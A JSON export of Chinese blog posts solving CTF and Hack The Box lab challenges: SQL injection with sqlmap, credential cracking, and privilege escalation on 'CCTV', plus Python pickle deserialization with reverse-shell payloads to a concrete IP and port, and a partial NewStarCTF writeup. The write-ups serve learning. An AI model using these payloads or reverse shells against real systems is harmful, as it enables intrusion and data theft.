[{"title":"hackthebox-CCTV靶场练习","url":"/2026/03/17/htb-0/","content":"\n## 一、信息收集\n\n这次选的是HTB的一个赛季靶场，难度为easy。\n\n![image-20260325194925158](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325194925158.png)\n\n拿到IP地址后先nmap扫一下：\n\n![image-20260325200223493](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325200223493.png)\n\n发现网站域名和开放的端口号，只开放了一个80和一个22，分别是web页面和ssh登录。\n\n点进网站看一下，直接ip点开网站打不开，需要在本机的域名解析中加上才可以，在/etc/hosts中加上域名解析：\n\n![image-20260325200802393](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325200802393.png)\n\n## 二、通过CVE拿到第一个shell\n\n然后点开网站即可打开：\n\n发现没什么东西，有个登录按钮，进去看一下\n\n![image-20260325200858375](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325200858375.png)\n\n发现是一个系统的登录页面：\n\n![image-20260325200952395](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325200952395.png)\n\n且没有验证码，理论上可以进行爆破登录。但是对于这种系统，先去搜一下有没有默认密码最快，发现这是一个视频监控软件，且有相应的默认密码admin：admin。尝试登录一下发现可以成功登入。\n\n![image-20260325200127913](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325200127913.png)\n\n点进去后发现是一个很大的系统，\n\n![image-20260325201228136](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325201228136.png)\n\n但是可以看到该系统的版本为1.37.63，既然如此最快速的方法还是去搜一下这个系统有没有CVE，有的话直接利用就好了，发现网上正好有该版本适用的CVE，是一个sql注入，那就先注入一下看看能拿到什么数据\n\n![image-20260325201702207](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325201702207.png)\n\n直接用poc显示没有认证，这时候想起来之前登录过，应该加上cookie才可以\n\n![image-20260325202018192](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325202018192.png)\n\n加上cookie后即可sql注入，发现注入点且给了payload\n\n![image-20260325202556730](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325202556730.png)\n\n之后就是常规的爆库爆表爆字段了，基本上就是运行sqlmap就好了：\n\n下面贴一下命令吧：\n\n```\n爆库名：\nsqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie=\"ZMSESSID=bb2k6c68bbbqtt15c3ofouk3ci\" --dbs\n爆表名：\nsqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie=\"ZMSESSID=bb2k6c68bbbqtt15c3ofouk3ci\" -D zm --tables\n爆列名：\nsqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie=\"ZMSESSID=bb2k6c68bbbqtt15c3ofouk3ci\" -D zm -T Users --columns\n拿到用户名密码：\nsqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie=\"ZMSESSID=bb2k6c68bbbqtt15c3ofouk3ci\" -D zm -T Users -C \"Password\" --where=\"Username='mark'\" --dump\n```\n\n最后拿到用户名和密码为：\n\n![image-20260325210123885](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325210123885.png)\n\n利用kali自带的密码爆破器john来爆破hash密码：\n\n![image-20260325210525397](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325210525397.png)\n\n最后爆破出账号密码为：mark:opensesame\n\n然后ssh登录，发现目录下没有flag，那可能就是这个服务器上有多个用户，还需要我们登录到其他用户来拿flag。\n\n![image-20260325210734831](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325210734831.png)\n\n看一下/etc/passwd,发现一些可疑账户，先记下来\n\n![image-20260325210853655](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325210853655.png)\n\n再看一下home目录，发现另一个用户，也就是确认了需要切换到这个用户。\n\n![image-20260325210942990](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325210942990.png)\n\n## 三、提权到其他用户\n\n然后就算切换到其他账户也需要提权，先下载linpeas这个脚本，简单讲一下这个脚本\n\n![image-20260325211638449](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325211638449.png)\n\n链接为[PEASS-ng/linPEAS/README.md at master · peass-ng/PEASS-ng · GitHub](https://github.com/peass-ng/PEASS-ng/blob/master/linPEAS/README.md)\n\n然后根据教程应该先下载到本地然后运行，但是拿到的shell连不了外网，只能通过kali这个机器来进行中转\n\n![image-20260325212324314](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325212324314.png)\n\n找到本地ip，然后wget一下并执行：\n\n然后即可下载完执行\n\n![image-20260325212434257](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325212434257.png)\n\n然后这个工具就会从多方面来帮我们找一些提取路径，其中会给一些高危可能点：\n\n![image-20260325213122267](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325213122267.png)\n\n还有端口情况：\n\n![image-20260325213202115](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325213202115.png)\n\n有一个命令可以suid执行，搜一下这个命令的提权方式，发现版本不符合\n\n![image-20260325213230780](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325213230780.png)\n\n![image-20260325213912270](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325213912270.png)\n\n只能放弃，再看看linpeas的其他输出，发现有一个server.log比较可疑\n\n![image-20260325213944420](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325213944420.png)\n\n看一下，很奇怪，这个用户一直在登录，每隔几秒就在登录，既然如此就可以直接嗅探一下网络包从而抓到他的账号密码：\n\n![image-20260325214123554](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325214123554.png)\n\n网上搜一下嗅探本地报文的命令，如下，找ai解释一下\n\n![image-20260325214240904](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325214240904.png)\n\n找到账号密码：sa_mark X1l9fx1ZjS7RZb\n\n![image-20260325215519433](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325215519433.png)\n\n然后去登录一下，拿到用户flag\n\n![image-20260325215724931](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325215724931.png)\n\n## 四、拿到ROOT权限\n\n紧接着想办法提权到root，这时候发现其他的都没什么思路，可以看一下端口信息\n\n![image-20260325222250361](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325222250361.png)\n\n确实新发现一下nmap扫不到的端口，这时候用nmap定点扫一下\n\n![image-20260325222200343](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325222200343.png)\n\n发现8765端口为http服务，则搭建一个隧道访问一下\n\n```ssh -L 8765:127.0.0.1:8765 mark@10.129.253.78```\n\n发现另一套系统\n\n![image-20260325222555347](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325222555347.png)\n\n查看一下前端代码，是否有一些指纹\n\n![image-20260325222640235](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325222640235.png)\n\n发现架构名称和版本号，为motionEye Version 0.43.1b4，搜一下这个版本的cve，发现可以rce的cve：\n\n[CVE-2025-60787 : None - 漏洞平台](https://cve.imfht.com/detail/CVE-2025-60787)\n\n然后就可以按照上面的路径直接进行漏洞利用即可：\n\n![image-20260325223337702](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325223337702.png)\n\n拿到root的shell\n\n![image-20260325223438408](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325223438408.png)\n\n## 五、后话\n\n后面回顾的时候发现上面的提权脚本也看了sudo的版本，发现这个版本刚好在前一段时间的sudo提权cve的影响范围内，所以实际上可以直接利用这个sudo提权到root，应该会更加方便一点。。\n\n![image-20260325223637449](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325223637449.png)\n\n![image-20260325223748009](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260325223748009.png)\n","tags":["OSCP","靶场渗透"],"categories":["OSCP"]},{"title":"DASCTF2024最后一战|寒夜破晓,冬至终章 const_python 题解及相关知识详解","url":"/2026/03/16/pickle1/","content":"\n# Pickle反序列化\n\n## 一、Pickle反序列化简述\n\n#### 1.1 什么是 Pickle\n\n`pickle` 是 Python 标准库中的一个模块，用于将 Python 对象序列化为字节流（Serialization），以及将字节流反序列化为 Python 对象（Deserialization）。\n\n- **序列化 (Dump)**：将对象转换为字节流，便于存储或网络传输。\n- **反序列化 (Load)**：将字节流还原为原始对象。\n\n**核心风险**：`pickle` 在反序列化时，并不是简单地重建数据，而是通过执行一系列操作码（Opcodes）来重建对象。如果攻击者能够控制输入的字节流，就可以构造恶意的操作码，让 Python 在反序列化过程中执行任意系统命令。\n\n下面是正常的序列化/反序列化过程\n\n```python\nimport pickle\n\n# 定义一个普通对象\ndata = {\"user\": \"admin\", \"role\": \"guest\"}\n\n# 序列化 (Dump)\nserialized_data = pickle.dumps(data)\nprint(f\"序列化后的字节流: {serialized_data}\")\n\n# 反序列化 (Load) - 正常情况\ndeserialized_data = pickle.loads(serialized_data)\nprint(f\"反序列化结果: {deserialized_data}\")\n```\n\n#### 1.2 pickle反序列化漏洞利用原理\n\n当 `pickle` 序列化一个对象时，如果该对象定义了 `__reduce__` 方法，`pickle` 会使用该方法返回的元组来决定如何重建对象。\n\n`__reduce__` 返回的元组格式通常为：`(callable, args)`。\n\n- `callable`: 要调用的函数（例如 `os.system`）。\n- `args`: 传递给函数的参数元组（例如 `('whoami',)`）。\n\n因此我们可以利用 `__reduce__` 魔术方法来构造恶意对象，比如下面的示例，可以使得`pickle`在反序列化的时候执行指令whoami\n\n```python\nimport pickle\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        # 返回一个元组：(要执行的函数, 参数元组)\n        # 这里指示 pickle 执行 os.system('whoami')\n        return (os.system, ('whoami',))\n\n# 生成恶意 payload,创建一个类实例\nevil_object = Exploit()\n# 将类实例序列化为字节码\nevil_bytes = pickle.dumps(evil_object)\n\nprint(\"恶意 Payload (Hex):\", evil_bytes.hex())\nprint(\"恶意 Payload (Raw):\", evil_bytes)\n\nprint(\"\\n正在执行反序列化...\")\n\npickle.loads(evil_bytes)\n```\n\n上面就是正常的pickle反序列化的脚本构造方法\n\n#### 1.3 pickle反序列化字节码学习\n\n下面是一些常见的字节码，什么是字节码，其实就是pickle序列化出的字符串就是各种字节码的组合，可以将上面函数里的reduce内的一些操作变成字节码，类似于一种汇编代码\n\n| opcode | 描述                                                         | 具体写法                                           | 栈上的变化                                                   | memo上的变化 |\n| ------ | ------------------------------------------------------------ | -------------------------------------------------- | ------------------------------------------------------------ | ------------ |\n| c      | 获取一个全局对象或import一个模块（注：会调用import语句，能够引入新的包） | c[module]\\n[instance]\\n                            | 获得的对象入栈                                               | 无           |\n| o      | 寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象） | o                                                  | 这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈 | 无           |\n| i      | 相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象） | i[module]\\n[callable]\\n                            | 这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈 | 无           |\n| N      | 实例化一个None                                               | N                                                  | 获得的对象入栈                                               | 无           |\n| S      | 实例化一个字符串对象                                         | S'xxx'\\n（也可以使用双引号、\\'等python字符串形式） | 获得的对象入栈                                               | 无           |\n| V      | 实例化一个UNICODE字符串对象                                  | Vxxx\\n                                             | 获得的对象入栈                                               | 无           |\n| I      | 实例化一个int对象                                            | Ixxx\\n                                             | 获得的对象入栈                                               | 无           |\n| F      | 实例化一个float对象                                          | Fx.x\\n                                             | 获得的对象入栈                                               | 无           |\n| R      | 选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数 | R                                                  | 函数和参数出栈，函数的返回值入栈                             | 无           |\n| .      | 程序结束，栈顶的一个元素作为pickle.loads()的返回值           | .                                                  | 无                                                           | 无           |\n| (      | 向栈中压入一个MARK标记                                       | (                                                  | MARK标记入栈                                                 | 无           |\n| t      | 寻找栈中的上一个MARK，并组合之间的数据为元组                 | t                                                  | MARK标记以及被组合的数据出栈，获得的对象入栈                 | 无           |\n| )      | 向栈中直接压入一个空元组                                     | )                                                  | 空元组入栈                                                   | 无           |\n| l      | 寻找栈中的上一个MARK，并组合之间的数据为列表                 | l                                                  | MARK标记以及被组合的数据出栈，获得的对象入栈                 | 无           |\n| ]      | 向栈中直接压入一个空列表                                     | ]                                                  | 空列表入栈                                                   | 无           |\n| d      | 寻找栈中的上一个MARK，并组合之间的数据为字典（数据必须有偶数个，即呈key-value对） | d                                                  | MARK标记以及被组合的数据出栈，获得的对象入栈                 | 无           |\n| }      | 向栈中直接压入一个空字典                                     | }                                                  | 空字典入栈                                                   | 无           |\n| p      | 将栈顶对象储存至memo_n                                       | pn\\n                                               | 无                                                           | 对象被储存   |\n| g      | 将memo_n的对象压栈                                           | gn\\n                                               | 对象被压栈                                                   | 无           |\n| 0      | 丢弃栈顶对象                                                 | 0                                                  | 栈顶对象被丢弃                                               | 无           |\n| b      | 使用栈中的第一个元素（储存多个属性名: 属性值的字典）对第二个元素（对象实例）进行属性设置 | b                                                  | 栈上第一个元素出栈                                           | 无           |\n| s      | 将栈的第一个和第二个对象作为key-value对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为key）中 | s                                                  | 第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新 | 无           |\n| u      | 寻找栈中的上一个MARK，组合之间的数据（数据必须有偶数个，即呈key-value对）并全部添加或更新到该MARK之前的一个元素（必须为字典）中 | u                                                  | MARK标记以及被组合的数据出栈，字典被更新                     | 无           |\n| a      | 将栈的第一个元素append到第二个元素(列表)中                   | a                                                  | 栈顶元素出栈，第二个元素（列表）被更新                       | 无           |\n\n最终的效果如下，也就是一种高级构造方法，但是也很难学习，类似于让人手写汇编，对于一些难度较大的题目来说，还是直接构造opcode更好：\n\n```\nopcode = b'''csubprocess\n    run\n    p0\n    ((lp1\n    Vbash\n    p2\n    aV-c\n    p3\n    aVbash -i >& /dev/tcp/ip/port 0>&1\n    p4\n    atp5\n    Rp6.\n    '''\n```\n\n#### 1.4 Pker学习\n\n简介\n\n- pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器，可以在https://github.com/eddieivan01/pker下载源码。\n- 使用pker，我们可以更方便地编写pickle opcode（生成pickle版本0的opcode）。\n- 再次建议，在能够手写opcode的情况下使用pker进行辅助编写，不要过分依赖pker。\n\n下面以一个例子来进行介绍：\n\n```\ngetattr = GLOBAL('builtins', 'getattr')  # 从内置函数中获取 getattr 这个内置函数 类似import builtins，然后获取到其中的getattr这个函数\nopen = GLOBAL('builtins', 'open')        # 同样，我们获取到 open 这个内置函数\nf = open('/flag')                        # 利用获取到的open函数拿到 flag 的文件对象\nread = getattr(f, 'read')                # 注意，这个地方的 read 是独属于 f 文件对象的 read，相当于 read = f.read\ncontent = read()                         # 获取到 flag 的内容\nsrc = open('./app.py', 'w')              # 获取到源代码的文件对象，这是我们唯一一个我们能拿到回显的地方了\nwrite = getattr(src, 'write')            # 拿到源代码的 write 函数\nwrite(content)                           # 写入\nreturn                                   # 返回\n```\n\n然后将上面的内容保存为文件，输入到pker中，类似如下：\n\n```\npython pker.py < 1.txt\n```\n\n即可将对应picker序列化的字节码输出，是一种很方便的构造pickle反序列化字节码的方式，值得学习一下。\n\n当然实际用法还有很多，这里就不过多讲解了，下面以一道题目为例\n\n## 二、 DASCTF 2024 web const_python\n\n#### 2.1 题目介绍和思路\n\n这是一道python pickle反序列化题目，查看题目描述显示/src下有源码，打开即可获得源码，并且告诉了flag的位置\n\n![image-20260316205527031](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316205527031.png)\n\n\n\n```python\n\nimport builtins\nimport io\nimport sys\nimport uuid\nfrom flask import Flask, request,jsonify,session\nimport pickle\nimport base64\n\n\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = str(uuid.uuid4()).replace(\"-\", \"\")\n\n\nclass User:\n    def __init__(self, username, password, auth='ctfer'):\n        self.username = username\n        self.password = password\n        self.auth = auth\n\npassword = str(uuid.uuid4()).replace(\"-\", \"\")\nAdmin = User('admin', password,\"admin\")\n\n@app.route('/')\ndef index():\n    return \"Welcome to my application\"\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef post_login():\n    if request.method == 'POST':\n\n        username = request.form['username']\n        password = request.form['password']\n\n\n        if username == 'admin' :\n            if password == admin.password:\n                session['username'] = \"admin\"\n                return \"Welcome Admin\"\n            else:\n                return \"Invalid Credentials\"\n        else:\n            session['username'] = username\n\n\n    return '''\n        <form method=\"post\">\n        <!-- /src may help you>\n            Username: <input type=\"text\" name=\"username\"><br>\n            Password: <input type=\"password\" name=\"password\"><br>\n            <input type=\"submit\" value=\"Login\">\n        </form>\n    '''\n\n\n@app.route('/ppicklee', methods=['POST'])\ndef ppicklee():\n    data = request.form['data']\n\n    sys.modules['os'] = \"not allowed\"\n    sys.modules['sys'] = \"not allowed\"\n    try:\n\n        pickle_data = base64.b64decode(data)\n        for i in {\"os\", \"system\", \"eval\", 'setstate', \"globals\", 'exec', '__builtins__', 'template', 'render', '\\\\',\n                 'compile', 'requests', 'exit',  'pickle',\"class\",\"mro\",\"flask\",\"sys\",\"base\",\"init\",\"config\",\"session\"}:\n            if i.encode() in pickle_data:\n                return i+\" waf !!!!!!!\"\n\n        pickle.loads(pickle_data)\n        return \"success pickle\"\n    except Exception as e:\n        return \"fail pickle\"\n\n\n@app.route('/admin', methods=['POST'])\ndef admin():\n    username = session['username']\n    if username != \"admin\":\n        return jsonify({\"message\": 'You are not admin!'})\n    return \"Welcome Admin\"\n\n\n@app.route('/src')\ndef src():\n    return  open(\"app.py\", \"r\",encoding=\"utf-8\").read()\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', debug=False, port=5000)\n\n```\n\n简单代码审计一下，发现其他的接口都没啥用，可以看到这个是一个很经典的pickle反序列化，里面给了一个pickle反序列化的接口：\n\n```python\n@app.route('/ppicklee', methods=['POST'])\ndef ppicklee():\n    data = request.form['data']\n\n    sys.modules['os'] = \"not allowed\"\n    sys.modules['sys'] = \"not allowed\"\n    try:\n\n        pickle_data = base64.b64decode(data)\n        for i in {\"os\", \"system\", \"eval\", 'setstate', \"globals\", 'exec', '__builtins__', 'template', 'render', '\\\\',\n                 'compile', 'requests', 'exit',  'pickle',\"class\",\"mro\",\"flask\",\"sys\",\"base\",\"init\",\"config\",\"session\"}:\n            if i.encode() in pickle_data:\n                return i+\" waf !!!!!!!\"\n\n        pickle.loads(pickle_data)\n        return \"success pickle\"\n    except Exception as e:\n        return \"fail pickle\"\n```\n\n简单理一下逻辑就是从post读取data数据，然后base64解码后反序列化，同时禁用了一些字段，反正就是想办法绕过这些黑名单，实现反序列化rce。\n\n#### 2.2 四种解题方式\n\n###### 2.2.1 最简单也是最好想的 覆盖文件\n\n因为从上面的代码中可以看到里面没有限制open和write指令，且/src还读取了app.py这个文件的内容。则我们只需要想办法把app.py里面的内容变成flag即可解出此题。并且限制的是`__builtins__`，不是`builtins`,如果限制了`builtins`那也就代表用不了其中的任何函数，因此后续我们利用`builtins`中的open和write来将flag的内容写入app.py。构造出pker对应的输入脚本，然后就是写入文件，执行pker，直接获取到对应的反序列化字节码\n\n![image-20260316221649003](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316221649003.png)\n\n![image-20260316221611431](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316221611431.png)\n\n将字节码base64加密后的字符串post到题目中即可\n\n![image-20260316221747290](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316221747290.png)\n\n![image-20260316221529070](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316221529070.png)\n\n之后直接打开/src发现相应的源码已被覆盖为flag\n\n![image-20260316221622126](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316221622126.png)\n\n###### 2.2.2 RCE反弹shell，利用reduce方式\n\n利用上面学到的最纯正的pickle反序列化脚本的构造方式，可以构造出下面的脚本：\n\n```py\nimport os\nimport subprocess\nimport pickle\nimport base64\n\nclass A():\n    def __reduce__(self):\n #这里命令不能直接用bash -i >& /dev/tcp/$ip/$port 0>&1\n        return (subprocess.run, ([\"bash\", \"-c\", \"bash -i >& /dev/tcp/117.143.183.109/7777 0>&1\"],))\n\na = A()\nb = pickle.dumps(a)\nprint(base64.b64encode(b))\n```\n\n\n\n![image-20260316231157174](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316231157174.png)\n\n之后直接拿去post，即可反弹shell，这里我的nc显示收到反弹shell但是链路建立不起来，估计是mac防火墙的问题，这里就不细究了。\n\n![image-20260316231024611](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316231024611.png)\n\n###### 2.2.3 利用Pker\n\n这里其实也就是将上面reduce的方法转换成pker的方式，毕竟用pker来构造还是比自己构造简单的，最后的输入脚本如下：\n\n```\nrun = GLOBAL('subprocess', 'run')\ncmd_list = [\"bash\", \"-c\", \"bash -i >& /dev/tcp/117.143.183.109/7777 0>&1\"]\nrun(cmd_list)\nreturn\n```\n\n![image-20260316231616330](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20260316231616330.png)\n\n最后拿去base64加密输入到题目中也可以实现RCE。\n\n请将下面的内容转化为英文格式，方便外国人进行阅读\n###### 2.2.4 官方题解\n\n这个官方题解很有意思，是一个很新的思路，值得学习。感觉官方题解属于进阶的pickle利用方式，也把难度提上去了，看样子上面的解法属于非预期了，官方题解也能和题目名称const_python呼应上。\n\n**核心原理**：\n\n在 Python 中，函数不仅仅是代码文本，它在内存中是一个对象，其编译后的字节码存储在 `__code__` 属性中（类型为 `types.CodeType`）。\n\n`CodeType` 包含了很多属性，其中最重要的是 **`co_consts`**（常量元组）。\n当你写这样一行代码时：\n\n```python\ndef src():\n    return open(\"app.py\", \"r\", encoding=\"utf-8\").read()\n```\n\nPython 编译器会把字符串 `\"app.py\"`, `\"r\"`, `\"utf-8\"` 等作为**常量**存储在 `co_consts` 元组中。字节码指令（如 `LOAD_CONST`）会通过索引去这个元组里取值。\n\n**攻击点：**\n如果我们能在服务器运行时，动态地替换掉 `src` 函数的 `__code__.co_consts`，把 `\"app.py\"` 换成 `\"/flag\"`，那么当再次调用 `src()` 时，它实际上执行的指令就是 `open(\"/flag\", ...)`。\n\n方便理解，下面我写了一个demo来正常实现上面的操作\n\n```python\nimport builtins\nimport types\n\ndef src():\n    return  open(\"app.py\", \"r\",encoding=\"utf-8\").read()\n\n\noCode = src.__code__.co_consts\nprint(\"src函数的常量字节码为：\",oCode)\n\nfor i in src.__code__.__dir__():\n    print(f\"{i} : {getattr(src.__code__, i)}\")\n\ng1 = builtins.getattr\ng2 = getattr(src,\"__code__\")\ng3 = getattr(g2,\"co_argcount\")\ng4 = getattr(g2,\"co_posonlyargcount\")\ng5 = getattr(g2,\"co_kwonlyargcount\")\ng6 = getattr(g2,\"co_nlocals\")\ng7 = getattr(g2,\"co_stacksize\")\ng8 = getattr(g2,\"co_flags\")\ng9 = getattr(g2,\"co_code\")\ng10 = (None, '1.txt', 'r', 'utf-8', ('encoding',))#g10 = getattr(g2,\"co_consts\")\ng11 = getattr(g2,\"co_names\")\ng12 = getattr(g2,\"co_varnames\")\ng13 = getattr(g2,\"co_filename\")\ng14 = getattr(g2,\"co_name\")\ng15 = getattr(g2,\"co_qualname\")\ng16 = getattr(g2,\"co_firstlineno\")\ng17 = getattr(g2,\"co_linetable\")\ng18 = getattr(g2,\"co_exceptiontable\")\n\n\n\ng19 = types.CodeType(g3,g4,g5,g6,g7,g8,g9,g10,g11,g12,g13,g14,g15,g16,g17,g18)\n# g20 = builtins.setattr\nsetattr(src,\"__code__\",g19)\n\noCode = src.__code__.co_consts\nprint(\"src函数的常量字节码为：\",oCode)\n# src()\n\nflag = src()\nprint(flag)\n```\n\n最后输出结果即为把1.txt内的内容打印出来。\n\n因此我们只需要把上面的过程转换成pker的输入格式即可，最后构造payload如下\n\n```python\n# 1. 获取基础工具函数\n# 获取 builtins.getattr (用于取属性)\ngetattr_func = GLOBAL('builtins', 'getattr')\n# 获取 builtins.setattr (用于改属性)\nsetattr_func = GLOBAL('builtins', 'setattr')\n# 获取 types.CodeType (用于构造新代码对象)\nCodeType_cls = GLOBAL('types', 'CodeType')\n\n# 2. 定位目标函数 src 及其代码对象\n# src 在全局作用域 (globals()['src'])\n# pker 中获取全局变量通常需要用 getattr(globals(), 'name') 或者如果 pker 支持直接引用全局名\n# 这里使用最稳妥的方式：先拿 globals 字典，再拿 src\nglobals_dict = GLOBAL('builtins', 'globals')()\nsrc_func = getattr_func(globals_dict, 'src')\nsrc_code = getattr_func(src_func, '__code__')\n\n# 3. 提取原代码对象的所有属性 (除了 co_consts)\nargcount = getattr_func(src_code, 'co_argcount')\nposonlyargcount = getattr_func(src_code, 'co_posonlyargcount')\nkwonlyargcount = getattr_func(src_code, 'co_kwonlyargcount')\nnlocals = getattr_func(src_code, 'co_nlocals')\nstacksize = getattr_func(src_code, 'co_stacksize')\nflags = getattr_func(src_code, 'co_flags')\ncode_bytes = getattr_func(src_code, 'co_code')\nnames = getattr_func(src_code, 'co_names')\nvarnames = getattr_func(src_code, 'co_varnames')\nfilename = getattr_func(src_code, 'co_filename')\nname = getattr_func(src_code, 'co_name')\nfirstlineno = getattr_func(src_code, 'co_firstlineno')\nlnotab = getattr_func(src_code, 'co_lnotab')\nfreevars = getattr_func(src_code, 'co_freevars')\ncellvars = getattr_func(src_code, 'co_cellvars')\n\n# 4. 构造新的 co_consts 元组\n# 原版是: (None, 'app.py', 'r', 'utf-8', ('encoding',))\n# 新版改为:   (None, '/flag', 'r', 'utf-8', ('encoding',))\nnew_consts = (None, '/flag', 'r', 'utf-8', ('encoding',))\n\n# 5. 实例化新的 CodeType 对象\n# 参数顺序必须严格对应 types.CodeType 的定义\nnew_code_obj = CodeType_cls(\n    argcount,\n    posonlyargcount,\n    kwonlyargcount,\n    nlocals,\n    stacksize,\n    flags,\n    code_bytes,\n    new_consts,\n    names,\n    varnames,\n    filename,\n    name,\n    firstlineno,\n    lnotab,\n    freevars,\n    cellvars\n)\n# 6. 执行偷梁换柱：src.__code__ = new_code_obj\nsetattr_func(src_func, '__code__', new_code_obj)\nreturn\n```\n\n然后放到pker里面运行，输出字节码，转换成base64后post到网站，然后打开/src，可以发现app.py成功被换为了flag\n","tags":["反序列化","ctf","pickle"],"categories":["ctf"]},{"title":"NewStarCTF-2025-WEB-week2题解","url":"/2025/10/08/newstarctf-2025-week2/","content":"\n## 一、DD加速器\n\n![image-20251008133158366](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133158366.png)\n\n打开页面，又是ping，很明显的一道命令注入，而且没有任何黑名单，直接可以执行命令\n\n![image-20251008133146970](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133146970.png)\n\n但是直接cat flag发现不在这，那意思就是得构造命令去搜索flag的真实文件在哪\n\n![image-20251008133316974](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133316974.png)\n\n直接构造find命令显示长度限制\n\n![image-20251008133249469](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133249469.png)\n\n![image-20251008133300063](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133300063.png)\n\n那就先看一下源代码\n\n![image-20251008133612558](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133612558.png)\n\n最后发现没必要非得带ip地址，直接执行find命令即可不超过长度限制，发现flag位置\n\n![image-20251008133717160](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133717160.png)\n\n直接cat拿到flag，但是发现又有长度限制\n\n![image-20251008133752991](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133752991.png)\n\n那就用通配符搞定\n\n![image-20251008133824146](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008133824146.png)\n\n## 二、真的是签到诶\n\n![image-20251026215752231](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026215752231.png)\n\n点开题目，php代码审计\n\n![image-20251026215855765](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026215855765.png)\n\n喂给ai，简单分析一下题目\n\n![image-20251026220314842](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026220314842.png)\n\n![image-20251026221553762](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026221553762.png)\n\nai即可输出这种简单题的脚本，直接POST可以实现rce\n\n![image-20251026221521871](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026221521871.png)\n\n然后就简单了，先ls，然后cat flag\n\n![image-20251026222856634](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026222856634.png)\n\n![image-20251026222818136](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026222818136.png)\n\n拿到flag\n\n![image-20251026222928294](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026222928294.png)\n\n## 